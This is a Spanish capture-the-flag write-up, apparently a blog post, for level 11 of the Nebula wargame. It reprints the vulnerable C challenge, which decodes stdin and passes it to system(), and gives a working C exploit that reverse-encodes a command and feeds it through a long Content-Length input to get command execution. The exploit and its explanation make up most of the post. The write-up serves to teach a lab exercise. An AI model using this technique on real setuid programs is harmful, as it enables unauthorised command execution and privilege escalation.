Solución Nebula nivel 11

Éste nivel me pareció interesante. No es que sea difícil ver por dónde tirar, pero me lié un rato a la hora de programar la solución. Echad un vistazo al código del reto:


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
}

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}

Parece claro que tenemos que llegar a la llamada a la función system(). Tratar de hacerlo por la rama en la que el valor de Content-Length es menor de 1024 es una pérdida de tiempo.

    if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);

Esto es debido a que el valor de retorno de la función fread() va a ser o bien 0, o bien 1, pero nunca igual a la longitud del mensaje, salvo que ésta sea 0 o 1, en cuyo caso es un mensaje inútil para nuestros propósitos.

Si lo intentamos por la otra rama (Content-Length>sizeof(buf)), es necesario exportar una variable de entorno llamada TEMP, que apunte a un directorio con permiso de escritura.

export TEMP=/tmp

De lo contrario, la llamada a getrand() devolverá un descriptor de fichero inválido, y el bucle fallará cuando invoque write() sobre él.

        fd = getrand(&path);

while(blue > 0) {
…
pink = fread(buf, 1, sizeof(buf), stdin);
...
write(fd, buf, pink);
…
blue -= pink;

Con estos pasos, deberíamos ser capaces de llegar a la función process(), donde podemos ver que se realizan una serie de modificaciones sobre el contenido del buffer antes de ejecutarlo mediante system().

La solución pasa por elegir el código que queremos ejecutar, y realizar la operación inversa a process() sobre él, de tal forma que cuando la función lo manipule, el resultado que se envía a system() sea el código que hemos escogido. Recordemos además, que ésta cadena tiene que ser mayor que 1024 caracteres, para que siga el flujo de ejecución requerido.

El siguiente código hace exactamente eso, convirtiendo el comando “;getflag >> /tmp/flag11;” en una cadena, que tras ser manipulada por la función process(), devuelva exactamente “;getflag >> /tmp/flag11;“. Hay algún problema con los primeros caracteres del buffer, así que para no perder más tiempo tratando de averiguar qué pasaba, decidí poner el comando al final del buffer.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
unsigned int key;
int i;
unsigned int valid_key;
int length=2048;
char shell[] = ";getflag >> /tmp/flag11;";
char* buffer=malloc(length);
// FILL BUFFER
for (i=0;i<length;i++){
buffer[i] = 0x41;
}
memcpy(buffer+length-strlen(shell)-1,shell, strlen(shell));
buffer[length-1]=0;
// END FILL BUFFER

char* buffer2 = malloc(strlen(buffer));
memcpy(buffer2, buffer, strlen(buffer));

// ORIG ALGO, input = X
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
// END ORIG ALGO, output = Y
valid_key = key;
// REV OPER, input= Y
for(i = length-1; i >= 0; i--) {
valid_key += buffer2[i];
buffer2[i] ^= valid_key;
}
// END REV OPER, output = X

// FEED THE FLAG11 BIN
printf("Content-Length: %d\n", length);
for (i=0;i<length;i++){
printf("%c",buffer2[i]);
}
// END FEEDING
return 0;
}

Podemos ver la ejecución de la solución en la siguiente imagen. El buffer contiene “A” hasta completar los 2048 caracteres, es por eso que bash se queja de que el comando “AAAAA….AAA” no existe. No obstante, nuestro comando se ejecuta correctamente.

Ejecución de comandos 🙂

Más en la siguiente entrada.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: